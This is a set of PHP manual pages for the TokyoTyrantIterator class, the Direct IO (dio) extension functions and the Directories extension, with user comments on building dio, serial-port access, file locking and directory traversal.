TokyoTyrantIterator
PHP Manual

TokyoTyrantIterator::next

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::next — Move to next key

Description

public mixed TokyoTyrantIterator::next ( void )

Move to next key during iteration and return it's value.

Parameters

This function has no parameters.

Return Values

Returns the next value on success and false on failure.

See Also

  • TokyoTyrantIterator::valid() - Rewinds the iterator
  • TokyoTyrantIterator::key() - Returns the current key
  • TokyoTyrantIterator::current() - Get the current value
  • TokyoTyrantIterator::rewind() - Rewinds the iterator

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantIterator::key
TokyoTyrantIterator::rewind
TokyoTyrantIterator


Rewinds the iterator

TokyoTyrantIterator::next
TokyoTyrantIterator::valid
TokyoTyrantIterator
PHP Manual

TokyoTyrantIterator::rewind

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::rewind — Rewinds the iterator

Description

public void TokyoTyrantIterator::rewind ( void )

Rewinds the iterator for new iteration. Called automatically at the beginning of foreach.

Parameters

This function has no parameters.

Return Values

Throws TokyoTyrantException if iterator initialization fails.

See Also

  • TokyoTyrantIterator::valid() - Rewinds the iterator
  • TokyoTyrantIterator::current() - Get the current value
  • TokyoTyrantIterator::next() - Move to next key
  • TokyoTyrantIterator::rewind()

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantIterator::next
TokyoTyrantIterator::valid
TokyoTyrantIterator


Rewinds the iterator

TokyoTyrantIterator::rewind
TokyoTyrantException
TokyoTyrantIterator
PHP Manual

TokyoTyrantIterator::valid

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::valid — Rewinds the iterator

Description

public bool TokyoTyrantIterator::valid ( void )

Checks whether the internal pointer points to valid element.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current item is valid and FALSE if not.

See Also

  • TokyoTyrantIterator::key() - Returns the current key
  • TokyoTyrantIterator::current() - Get the current value
  • TokyoTyrantIterator::next() - Move to next key
  • TokyoTyrantIterator::rewind() - Rewinds the iterator

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantIterator::rewind
TokyoTyrantException
TokyoTyrantIterator


The TokyoTyrantException class

(No version information available, might only be in SVN)

Introduction

TokyoTyrantException

Class synopsis

tokyotyrantexception extends Exception {
/* Properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Properties

code

The exception code. This can be compared to TokyoTyrant::TTE_* constants

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantIterator::valid
File System Related Extensions
tokyo_tyrant


File System Related Extensions

  • Direct IO
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Direct IO Functions
  • Directories
    • Installing/Configuring
    • Predefined Constants
    • Directory — The Directory class
    • Directory Functions
  • Fileinfo — File Information
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Fileinfo Functions
  • Filesystem
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Filesystem Functions
  • Inotify
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Inotify Functions
  • Mimetype
    • Introduction
    • Installing/Configuring
    • Predefined Constants
  • Proctitle
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Proctitle Functions
  • xattr
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • xattr Functions
  • xdiff
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • xdiff Functions

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantException
Direct IO
Function Reference


Direct IO

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Direct IO Functions
    • dio_close — Closes the file descriptor given by fd
    • dio_fcntl — Performs a c library fcntl on fd
    • dio_open — Opens a file (creating it if necessary) at a lower level than the C library input/ouput stream functions allow.
    • dio_read — Reads bytes from a file descriptor
    • dio_seek — Seeks to pos on fd from whence
    • dio_stat — Gets stat information about the file descriptor fd
    • dio_tcsetattr — Sets terminal attributes and baud rate for a serial port
    • dio_truncate — Truncates file descriptor fd to offset bytes
    • dio_write — Writes data to fd with optional truncation at length

User Contributed Notes

There are no user contributed notes for this page.
File System Related Extensions
Introduction
File System Related Extensions


Introduction

PHP supports the direct io functions as described in the Posix Standard (Section 6) for performing I/O functions at a lower level than the C-Language stream I/O functions (fopen(), fread(),..). The use of the DIO functions should be considered only when direct control of a device is needed. In all other cases, the standard filesystem functions are more than adequate.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.

This extension is only available on Windows Platforms as of PHP 5.0.0

User Contributed Notes

There are no user contributed notes for this page.
Direct IO
Installing/Configuring
Direct IO


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Direct IO


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/dio.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

One resource type is defined by this extension: a file descriptor returned by dio_open().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

F_DUPFD (integer)

F_GETFD (integer)

F_GETFL (integer)

F_GETLK (integer)

F_GETOWN (integer)

F_RDLCK (integer)

F_SETFL (integer)

F_SETLK (integer)

F_SETLKW (integer)

F_SETOWN (integer)

F_UNLCK (integer)

F_WRLCK (integer)

O_APPEND (integer)

O_ASYNC (integer)

O_CREAT (integer)

O_EXCL (integer)

O_NDELAY (integer)

O_NOCTTY (integer)

O_NONBLOCK (integer)

O_RDONLY (integer)

O_RDWR (integer)

O_SYNC (integer)

O_TRUNC (integer)

O_WRONLY (integer)

S_IRGRP (integer)

S_IROTH (integer)

S_IRUSR (integer)

S_IRWXG (integer)

S_IRWXO (integer)

S_IRWXU (integer)

S_IWGRP (integer)

S_IWOTH (integer)

S_IWUSR (integer)

S_IXGRP (integer)

S_IXOTH (integer)

S_IXUSR (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Direct IO Functions
Direct IO


Direct IO Functions

Table of Contents

  • dio_close — Closes the file descriptor given by fd
  • dio_fcntl — Performs a c library fcntl on fd
  • dio_open — Opens a file (creating it if necessary) at a lower level than the C library input/ouput stream functions allow.
  • dio_read — Reads bytes from a file descriptor
  • dio_seek — Seeks to pos on fd from whence
  • dio_stat — Gets stat information about the file descriptor fd
  • dio_tcsetattr — Sets terminal attributes and baud rate for a serial port
  • dio_truncate — Truncates file descriptor fd to offset bytes
  • dio_write — Writes data to fd with optional truncation at length

User Contributed Notes

abe at siticompulsi dot net 25-Feb-2008 07:15
(sorry for my English)
http://pecl.php.net/get/dio seems broken at the moment
to get dio extension follow these steps (steps 1.a and 1.b are equivalent):

1.a  get source files using cvs (you may need cvsnt or similar):

     (in shell run)
     cvs -d :pserver:cvsread@cvs.php.net:/repository login
     Password: phpfi
     cvs -d :pserver:cvsread@cvs.php.net:/repository co pecl/dio
     cd pecl/dio/

-- or --

1.b  manually download all files at http://cvs.php.net/cvs.php/pecl/dio clicking on the revision number link
     move to the destination directory

2.   (in shell run)
     phpize (if the system is missing the 'phpize' command see http://php.mirrors.ilisys.com.au/manual/en/install.pecl.phpize.php)
     ./configure --enable-dio --with-php-config=/path/to/php-config (usually /usr/local/php/bin/php-config or /usr/bin/php-config)

     make
     make install (you need root/admin privilegies)
php dot 5 dot gavinostlund at spamgourmet dot com 07-Dec-2007 04:36
You can manually build the dio extension for your version of PHP, or install an older version of PHP that still bundled dio.  It's not that hard to build it yourself, just a bit of a process, and it helps if you're on linux, and have a build environment... which I would assume you have if you are doing some kind of development that requires direct device I/O...  Just get the dio source from the cvs repo, compile it, and then add the extension to your php configuration...
tom at bitworks dot de 03-Nov-2007 05:41
to use mandatory locking on a linux system, the filesystem has to be well prepared.

# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>               <dump>  <pass>
/dev/hda1       /               ext3    errors=remount-ro,mand  0       1
/dev/hda2       none            swap    sw                      0       0
proc            /proc           proc    defaults                0       0
/dev/fd0        /floppy         auto    user,noauto             0       0
/dev/cdrom      /cdrom          iso9660 ro,user,noauto          0       0

For example here the ext3 partition has been prepared for mandatory locking. Otherwise no dio_function will work on the system.
richard d_0t cubek a_t example D0_t com 25-Sep-2007 01:13
IMPORTANT:

--enable-dio is NOT recognized as an option. After reporting a bug, i got following answer:

It is not bundled anymore. See http://pecl.php.net/dio to fetch the CVS version (being unmaintained, there is no release in pecl). Not a bug > bogus.
Predefined Constants
dio_close
Direct IO


Closes the file descriptor given by fd

Direct IO Functions
dio_fcntl
Direct IO Functions
PHP Manual

dio_close

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_close — Closes the file descriptor given by fd

Description

void dio_close ( resource $fd )

The function dio_close() closes the file descriptor fd.

Parameters

fd

The file descriptor returned by dio_open().

Return Values

No value is returned.

Examples

Example #1 Closing an open file descriptor

<?php
$fd = dio_open('/dev/ttyS0', O_RDWR);

dio_close($fd);
?>

See Also

  • dio_open() - Opens a file (creating it if necessary) at a lower level than the C library input/ouput stream functions allow.

User Contributed Notes

There are no user contributed notes for this page.
Direct IO Functions
dio_fcntl
Direct IO Functions


Performs a c library fcntl on fd

dio_close
dio_open
Direct IO Functions
PHP Manual

dio_fcntl

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_fcntl — Performs a c library fcntl on fd

Description

mixed dio_fcntl ( resource $fd , int $cmd [, mixed $args ] )

The dio_fcntl() function performs the operation specified by cmd on the file descriptor fd. Some commands require additional arguments args to be supplied.

Parameters

fd

The file descriptor returned by dio_open().

cmd

Can be one of the following operations:

  • F_SETLK - Lock is set or cleared. If the lock is held by someone else dio_fcntl() returns -1.

  • F_SETLKW - like F_SETLK, but in case the lock is held by someone else, dio_fcntl() waits until the lock is released.

  • F_GETLK - dio_fcntl() returns an associative array (as described above) if someone else prevents lock. If there is no obstruction key "type" will set to F_UNLCK.

  • F_DUPFD - finds the lowest numbered available file descriptor greater than or equal to args and returns them.

  • F_SETFL - Sets the file descriptors flags to the value specified by args, which can be O_APPEND, O_NONBLOCK or O_ASYNC. To use O_ASYNC you will need to use the PCNTL extension.

args

args is an associative array, when cmd is F_SETLK or F_SETLLW, with the following keys:

  • "start" - offset where lock begins

  • "length" - size of locked area. zero means to end of file

  • "wenth" - Where l_start is relative to: can be SEEK_SET, SEEK_END and SEEK_CUR

  • "type" - type of lock: can be F_RDLCK (read lock), F_WRLCK (write lock) or F_UNLCK (unlock)

Return Values

Returns the result of the C call.

Examples

Example #1 Setting and clearing a lock

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR);

if (dio_fcntl($fd, F_SETLK, Array("type"=>F_WRLCK)) == -1) {
   // the file descriptor appears locked
   echo "The lock can not be cleared. It is held by someone else.";
} else {
   echo "Lock succesfully set/cleared";
}

dio_close($fd);
?>

Notes

Note: This function is not implemented on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.
dio_close
dio_open
Direct IO Functions


Opens a file (creating it if necessary) at a lower level than the C library input/ouput stream functions allow.

dio_fcntl
dio_read
Direct IO Functions
PHP Manual

dio_open

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_open — Opens a file (creating it if necessary) at a lower level than the C library input/ouput stream functions allow.

Description

resource dio_open ( string $filename , int $flags [, int $mode = 0 ] )

dio_open() opens a file and returns a new file descriptor for it.

Parameters

filename

The pathname of the file to open.

flags

The flags parameter is a bitwise-ORed value comprising flags from the following list. This value must include one of O_RDONLY, O_WRONLY, or O_RDWR. Additionally, it may include any combination of the other flags from this list.

  • O_RDONLY - opens the file for read access.

  • O_WRONLY - opens the file for write access.

  • O_RDWR - opens the file for both reading and writing.

  • O_CREAT - creates the file, if it doesn't already exist.

  • O_EXCL - if both O_CREAT and O_EXCL are set and the file already exists, causes dio_open() to fail.

  • O_TRUNC - if the file exists and is opened for write access, the file will be truncated to zero length.

  • O_APPEND - write operations write data at the end of the file.

  • O_NONBLOCK - sets non blocking mode.

  • O_NOCTTY - prevent the OS from assigning the opened file as the process's controlling terminal when opening a TTY device file.

mode

If flags contains O_CREAT, mode will set the permissions of the file (creation permissions). Mode is required for correct operation when O_CREAT is specified in mode and is ignored otherwise.

The actual permissions assigned to the created file will be affected by the process's umask setting as per usual.

Return Values

A file descriptor or FALSE on error.

Examples

Example #1 Opening a file descriptor

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR | O_NOCTTY | O_NONBLOCK);

dio_close($fd);
?>

See Also

  • dio_close() - Closes the file descriptor given by fd

User Contributed Notes

Marius Karthaus 03-Mar-2010 12:02
One of the prominent reasons to use direct IO, is for it's ability to do actual direct IO, bypassing the operating system cache and getting the data from the disk directly.
The flag to do that (O_DIRECT) is missing from the documentation above. Maybe for good reasons, because this type of IO only works on blockdevices, not on files, and should only be used if you are **really** sure what you are doing.
j at pureftpd dot org 23-Jan-2005 04:13
Please note that dio_open()/dio_write()/dio_close() is *faster* than fopen()/fwrite()/fclose() for files.

fwrite() has to manage a 8k buffer, while dio_write() just issue a single write(). The end result is less system calls and less memory access.

Also, giving the full size to write() as with dio_write() let filesystems properly use preallocation in order to avoid fragmentation.
alla at cyber dot com dot au 22-Mar-2003 07:16
To specify a combination of flags you OR them together.
This was the only way I could get it to append:

$fd = dio_open($file, O_WRONLY | O_APPEND);
dio_fcntl
dio_read
Direct IO Functions


Reads bytes from a file descriptor

dio_open
dio_seek
Direct IO Functions
PHP Manual

dio_read

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_read — Reads bytes from a file descriptor

Description

string dio_read ( resource $fd [, int $len = 1024 ] )

The function dio_read() reads and returns len bytes from file with descriptor fd.

Parameters

fd

The file descriptor returned by dio_open().

len

The number of bytes to read. If not specified, dio_read() reads 1K sized block.

Return Values

The bytes read from fd.

See Also

  • dio_write() - Writes data to fd with optional truncation at length

User Contributed Notes

alban 29-Jun-2009 05:58
I am using dio functions on windows to read RS232 port.
I can read/write but it seems that the write function cannot be binary.

In particular:
dio_write($com1,chr(10),1); will result in writing 2 bytes 0D 0A be cause \n is translated to \r\n. I have not found any way to overcome this limitation so far
matt at vhub dot com 18-May-2006 07:48
Note that dio_read on Windows (other platforms unknown) will not timeout if there is no data to read. There is no way to specify a timeout or do a non-blocking read on Windows.
dio_open
dio_seek
Direct IO Functions


Seeks to pos on fd from whence

dio_read
dio_stat
Direct IO Functions
PHP Manual

dio_seek

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_seek — Seeks to pos on fd from whence

Description

int dio_seek ( resource $fd , int $pos [, int $whence = SEEK_SET ] )

The function dio_seek() is used to change the file position of the given file descriptor.

Parameters

fd

The file descriptor returned by dio_open().

pos

The new position.

whence

Specifies how the position pos should be interpreted:

  • SEEK_SET (default) - specifies that pos is specified from the beginning of the file.

  • SEEK_CUR - Specifies that pos is a count of characters from the current file position. This count may be positive or negative.

  • SEEK_END - Specifies that pos is a count of characters from the end of the file. A negative count specifies a position within the current extent of the file; a positive count specifies a position past the current end. If you set the position past the current end, and actually write data, you will extend the file with zeros up to that position.

Return Values

Examples

Example #1 Positioning in a file

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR);

dio_seek($fd, 10, SEEK_SET);
// position is now at 10 characters from the start of the file

dio_seek($fd, -2, SEEK_CUR);
// position is now at 8 characters from the start of the file

dio_seek($fd, -5, SEEK_END);
// position is now at 5 characters from the end of the file

dio_seek($fd, 10, SEEK_END);
// position is now at 10 characters past the end of the file.
// The 10 characters between the end of the file and the current
// position are filled with zeros.

dio_close($fd);
?>

User Contributed Notes

There are no user contributed notes for this page.
dio_read
dio_stat
Direct IO Functions


Gets stat information about the file descriptor fd

dio_seek
dio_tcsetattr
Direct IO Functions
PHP Manual

dio_stat

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_stat — Gets stat information about the file descriptor fd

Description

array dio_stat ( resource $fd )

dio_stat() returns information about the given file descriptor.

Parameters

fd

The file descriptor returned by dio_open().

Return Values

Returns an associative array with the following keys:

  • "device" - device

  • "inode" - inode

  • "mode" - mode

  • "nlink" - number of hard links

  • "uid" - user id

  • "gid" - group id

  • "device_type" - device type (if inode device)

  • "size" - total size in bytes

  • "blocksize" - blocksize

  • "blocks" - number of blocks allocated

  • "atime" - time of last access

  • "mtime" - time of last modification

  • "ctime" - time of last change

On error dio_stat() returns NULL.

User Contributed Notes

There are no user contributed notes for this page.
dio_seek
dio_tcsetattr
Direct IO Functions


Sets terminal attributes and baud rate for a serial port

dio_stat
dio_truncate
Direct IO Functions
PHP Manual

dio_tcsetattr

(PHP 4 >= 4.3.0, PHP 5 <= 5.0.5)

dio_tcsetattr — Sets terminal attributes and baud rate for a serial port

Description

bool dio_tcsetattr ( resource $fd , array $options )

dio_tcsetattr() sets the terminal attributes and baud rate of the open fd.

Parameters

fd

The file descriptor returned by dio_open().

options

The currently available options are:

  • 'baud' - baud rate of the port - can be 38400,19200,9600,4800,2400,1800, 1200,600,300,200,150,134,110,75 or 50, default value is 9600.

  • 'bits' - data bits - can be 8,7,6 or 5. Default value is 8.

  • 'stop' - stop bits - can be 1 or 2. Default value is 1.

  • 'parity' - can be 0,1 or 2. Default value is 0.

Return Values

No value is returned.

Examples

Example #1 Setting the baud rate on a serial port

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR | O_NOCTTY | O_NONBLOCK);

dio_fcntl($fd, F_SETFL, O_SYNC);

dio_tcsetattr($fd, array(
  'baud' => 9600,
  'bits' => 8,
  'stop'  => 1,
  'parity' => 0
));

while (1) {

  $data = dio_read($fd, 256);

  if ($data) {
      echo $data;
  }
}

?>

Notes

Note: This function is not implemented on Windows platforms.

User Contributed Notes

daniel widyanto (kunilkuda at gmail dot com) 30-Jun-2005 06:34
I'm using PHP to interface my AVR microcontroller in /dev/ttyS0. I bet someone else does the same.

Here's some hint :
- dio_tcsetattr -> is set to enable :
            - RTS / CTS hardware control
            - ICANON mode
              (means that dio_read will wait until 0x0A/LF or other control character is entered in /dev/ttyS0 before it returns reading result, when you use dio_write it will also send 0x0A/LF automatically in the end of the message to your device).

For those who dont need RTS/CTS and/or ICANON, you can use linux command : stty.

Here's mine :

<?php
        exec('stty -F /dev/ttyS0 4800 raw');

        $fd=dio_open('/dev/ttyS0',O_RDWR | O_NOCTTY | O_NDELAY);
        dio_fcntl($fd,F_SETFL,0);

        dio_write($fd,"\x41",1);  // write 0x41 or 'A' to /dev/ttyS0

        // Replace result_length with your expected command result length
        for ($i=0;$i < result_length;$i++) {
               $result .=dio_read($fd, 1);
        }
        echo $result;
?>

Refer to :
- Serial Programming Guide for POSIX Operating Systems, http://www.easysw.com/~mike/serial/
- stty man pages
fherrero at noticiasdenavarra dot com 01-Apr-2005 04:30
For Windows the Example 1 looks same this one:

<?php

exec('mode com1: baud=9600 data=8 stop=1 parity=n xon=on');
// execute 'help mode' in command line of Windows for help

$fd = dio_open('com1:', O_RDWR);

while (1) {

  $data = dio_read($fd, 256);

  if ($data) {
     echo $data;
  }
}

?>
healer at colorado dot edu 19-Jul-2003 03:37
It was frustrating at first because I was trying to get my Linux box to talk to an external serial device (a PIC18F452 programmable chip) and the example provided here refers to fcntl() and open() parameters that aren't in the PHP documentation.

I finally found out what does what through the man pages:

man open
man fcntl

still haven't gotten it to work, or how to reset the ttySx, but thought it may help someone...
dio_stat
dio_truncate
Direct IO Functions


Truncates file descriptor fd to offset bytes

dio_tcsetattr
dio_write
Direct IO Functions
PHP Manual

dio_truncate

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_truncate — Truncates file descriptor fd to offset bytes

Description

bool dio_truncate ( resource $fd , int $offset )

dio_truncate() truncates a file to at most offset bytes in size.

If the file previously was larger than this size, the extra data is lost. If the file previously was shorter, it is unspecified whether the file is left unchanged or is extended. In the latter case the extended part reads as zero bytes.

Parameters

fd

The file descriptor returned by dio_open().

offset

The offset in bytes.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is not implemented on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.
dio_tcsetattr
dio_write
Direct IO Functions


Writes data to fd with optional truncation at length

dio_truncate
Directories
Direct IO Functions
PHP Manual

dio_write

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_write — Writes data to fd with optional truncation at length

Description

int dio_write ( resource $fd , string $data [, int $len = 0 ] )

dio_write() writes up to len bytes from data to file fd.

Parameters

fd

The file descriptor returned by dio_open().

data

The written data.

len

The length of data to write in bytes. If not specified, the function writes all the data to the specified file.

Return Values

Returns the number of bytes written to fd.

See Also

  • dio_read() - Reads bytes from a file descriptor

User Contributed Notes

There are no user contributed notes for this page.
dio_truncate
Directories
Direct IO Functions


Directories

  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Directory — The Directory class
    • Directory::close — Close directory handle
    • Directory::read — Read entry from directory handle
    • Directory::rewind — Rewind directory handle
  • Directory Functions
    • chdir — Change directory
    • chroot — Change the root directory
    • closedir — Close directory handle
    • dir — Return an instance of the Directory class
    • getcwd — Gets the current working directory
    • opendir — Open directory handle
    • readdir — Read entry from directory handle
    • rewinddir — Rewind directory handle
    • scandir — List files and directories inside the specified path

User Contributed Notes

There are no user contributed notes for this page.
dio_write
Installing/Configuring
File System Related Extensions


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Directories
Requirements
Directories


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

DIRECTORY_SEPARATOR (string)
PATH_SEPARATOR (string)
Available since PHP 4.3.0. Semicolon on Windows, colon otherwise.
SCANDIR_SORT_ASCENDING (integer)
Available since PHP 5.4.0.
SCANDIR_SORT_DESCENDING (integer)
Available since PHP 5.4.0.
SCANDIR_SORT_NONE (integer)
Available since PHP 5.4.0.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Directory
Directories


The Directory class

(No version information available, might only be in SVN)

Introduction

Instances of Directory are created by calling the dir() function, not by the new operator.

Class synopsis

Directory {
/* Properties */
public string $path ;
public resource $handle ;
/* Methods */
public void close ([ resource $dir_handle ] )
public string read ([ resource $dir_handle ] )
public void rewind ([ resource $dir_handle ] )
}

Properties

path

The directory that was opened.

handle

Can be used with other directory functions such as readdir(), rewinddir() and closedir().

Table of Contents

  • Directory::close — Close directory handle
  • Directory::read — Read entry from directory handle
  • Directory::rewind — Rewind directory handle

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Directory::close
Directories


Close directory handle

Directory
Directory::read
Directory
PHP Manual

Directory::close

(No version information available, might only be in SVN)

Directory::close — Close directory handle

Description

public void Directory::close ([ resource $dir_handle ] )

Same as closedir(), only dir_handle defaults to $this.

User Contributed Notes

There are no user contributed notes for this page.
Directory
Directory::read
Directory


Read entry from directory handle

Directory::close
Directory::rewind
Directory
PHP Manual

Directory::read

(No version information available, might only be in SVN)

Directory::read — Read entry from directory handle

Description

public string Directory::read ([ resource $dir_handle ] )

Same as readdir(), only dir_handle defaults to $this.

User Contributed Notes

There are no user contributed notes for this page.
Directory::close
Directory::rewind
Directory


Rewind directory handle

Directory::read
Directory Functions
Directory
PHP Manual

Directory::rewind

(No version information available, might only be in SVN)

Directory::rewind — Rewind directory handle

Description

public void Directory::rewind ([ resource $dir_handle ] )

Same as rewinddir(), only dir_handle defaults to $this.

User Contributed Notes

There are no user contributed notes for this page.
Directory::read
Directory Functions
Directory


Directory Functions

See Also

For related functions such as dirname(),
is_dir(), mkdir(), and
rmdir(), see the
Filesystem section.

Table of Contents

  • chdir — Change directory
  • chroot — Change the root directory
  • closedir — Close directory handle
  • dir — Return an instance of the Directory class
  • getcwd — Gets the current working directory
  • opendir — Open directory handle
  • readdir — Read entry from directory handle
  • rewinddir — Rewind directory handle
  • scandir — List files and directories inside the specified path

User Contributed Notes

Ant P. 12-Sep-2009 04:01
A simple reminder, but one most people (me included) will forget:

If you're writing portable code, don't blindly assume URLs and filesystem paths have a 1:1 mapping! There could be any number of things affecting them - the server might have mod_rewrite rules, you could be in a chroot, PHP could even be running over FastCGI on a separate machine from the webserver entirely.

Also don't rely on relative paths just because you think your own code hasn't called chdir(); you can use dirname($_SERVER[SCRIPT_FILENAME]) to figure out where you should be.
billy 18-Feb-2008 01:22
msh at onliners dot dk's code should have

$dir.'/'.$entry everywhere instead of $dir.$entry

you need your system's directory separator, otherwise you'll get /my/pathfilename instead of correctly /my/path/filename
Jean-Paul Wattiaux 31-Aug-2007 08:08
Mine works as long as the samba volume is actually mounted. Having it listed in the "My Computer" window doesn't warrant that.
adrian 20-Aug-2007 02:33
Samba mounts under a Windows environment are not accessible using the mounted drive letter. For instance, if you have drive X: in Windows mounted to //example.local/shared_dir (where example.local is a *nix box running Samba), the following constructs

$dir = "X:\\data\\";
$handle = opendir( $dir );
or
$d = dir( $dir );

will return a warning message "failed to open dir: No error"

On the other hand, using the underlying mapping info works just fine. For example:

$dir = "//example.local/shared_dir/data";
$handle = opendir( $dir );
or
$d = dir( $dir );

Both cases do what they're expected to.
phdwight at yahoo dot com 27-Mar-2007 07:45
I have posted this same observation in scandir, and found out that it is not limited to scandir alone but to ALL directory functions.

Directory functions DOES NOT currently supports Japanese characters.
dkflbk at nm dot ru 14-Sep-2006 04:29
I wrote a simple backup script which puts all files in his folder (and all of the sub-folders) in one TAR archive...
(It's classic TAR format not USTAR, so filename and path to it can't be longer then 99 chars)
<?php
/***********************************************************
 *   Title:  Classic-TAR based backup script v0.0.1-dev
  **********************************************************/

Class Tar_by_Vladson {
    var $tar_file;
    var $fp;
    function Tar_by_Vladson($tar_file='backup.tar') {
        $this->tar_file = $tar_file;
        $this->fp = fopen($this->tar_file, "wb");
        $tree = $this->build_tree();
        $this->process_tree($tree);
        fputs($this->fp, pack("a512", ""));
        fclose($this->fp);
    }
    function build_tree($dir='.'){
        $handle = opendir($dir);
        while(false !== ($readdir = readdir($handle))){
            if($readdir != '.' && $readdir != '..'){
                $path = $dir.'/'.$readdir;
                if (is_file($path)) {
                    $output[] = substr($path, 2, strlen($path));
                } elseif (is_dir($path)) {
                    $output[] = substr($path, 2, strlen($path)).'/';
                    $output = array_merge($output, $this->build_tree($path));
                }
            }
        }
        closedir($handle);
        return $output;
    }
    function process_tree($tree) {
        foreach( $tree as $pathfile ) {
            if (substr($pathfile, -1, 1) == '/') {
                fputs($this->fp, $this->build_header($pathfile));
            } elseif ($pathfile != $this->tar_file) {
                $filesize = filesize($pathfile);
                $block_len = 512*ceil($filesize/512)-$filesize;
                fputs($this->fp, $this->build_header($pathfile));
                fputs($this->fp, file_get_contents($pathfile));
                fputs($this->fp, pack("a".$block_len, ""));
            }
        }
        return true;
    }
    function build_header($pathfile) {
        if ( strlen($pathfile) > 99 ) die('Error');
        $info = stat($pathfile);
        if ( is_dir($pathfile) ) $info[7] = 0;
        $header = pack("a100a8a8a8a12A12a8a1a100a255",
            $pathfile,
            sprintf("%6s ", decoct($info[2])),
            sprintf("%6s ", decoct($info[4])),
            sprintf("%6s ", decoct($info[5])),
            sprintf("%11s ",decoct($info[7])),
            sprintf("%11s", decoct($info[9])),
            sprintf("%8s", " "),
            (is_dir($pathfile) ? "5" : "0"),
            "",
            ""
            );
        clearstatcache();
        $checksum = 0;
        for ($i=0; $i<512; $i++) {
            $checksum += ord(substr($header,$i,1));
        }
        $checksum_data = pack(
            "a8", sprintf("%6s ", decoct($checksum))
            );
        for ($i=0, $j=148; $i<7; $i++, $j++)
            $header[$j] = $checksum_data[$i];
        return $header;
    }
}

header('Content-type: text/plain');
$start_time = array_sum(explode(chr(32), microtime()));
$tar = & new Tar_by_Vladson();
$finish_time = array_sum(explode(chr(32), microtime()));
printf("The time taken: %f seconds", ($finish_time - $start_time));
?>
engin bzzzt biz 01-Feb-2006 12:07
To join directory and file names in a cross-platform manner you can use the following function.

function join_path()
{
        $num_args = func_num_args();
        $args = func_get_args();
        $path = $args[0];

        if( $num_args > 1 )
        {
            for ($i = 1; $i < $num_args; $i++)
            {
                $path .= DIRECTORY_SEPARATOR.$args[$i];
            }
        }

        return $path;
}

It should do the following:
$src = join_path( '/foo', 'bar', 'john.jpg' );
echo $src; // On *nix -> /foo/bar/john.jpg

$src = join_path( 'C:\www', 'domain.com', 'foo.jpg' );
echo $src; // On win32 -> C:\\www\\domain.com\\foo.jpg
msh at onliners dot dk 30-Jan-2006 03:49
I would like to present these two simple functions for generating a complete directory listing - as I feel the other examples are to restrictive in terms of usage.

function dirTree($dir) {
    $d = dir($dir);
    while (false !== ($entry = $d->read())) {
        if($entry != '.' && $entry != '..' && is_dir($dir.$entry))
            $arDir[$entry] = dirTree($dir.$entry.'/');
    }
    $d->close();
    return $arDir;
}

function printTree($array, $level=0) {
    foreach($array as $key => $value) {
        echo "<div class='dir' style='width: ".($level*20)."px;'>&nbsp;</div>".$key."<br/>\n";
        if(is_array($value))
            printTree($value, $level+1);
    }
}

Usage is as simple as this:
$dir = "<any directory you like>";
$arDirTree = dirTree($dir);
printTree($arDirTree);

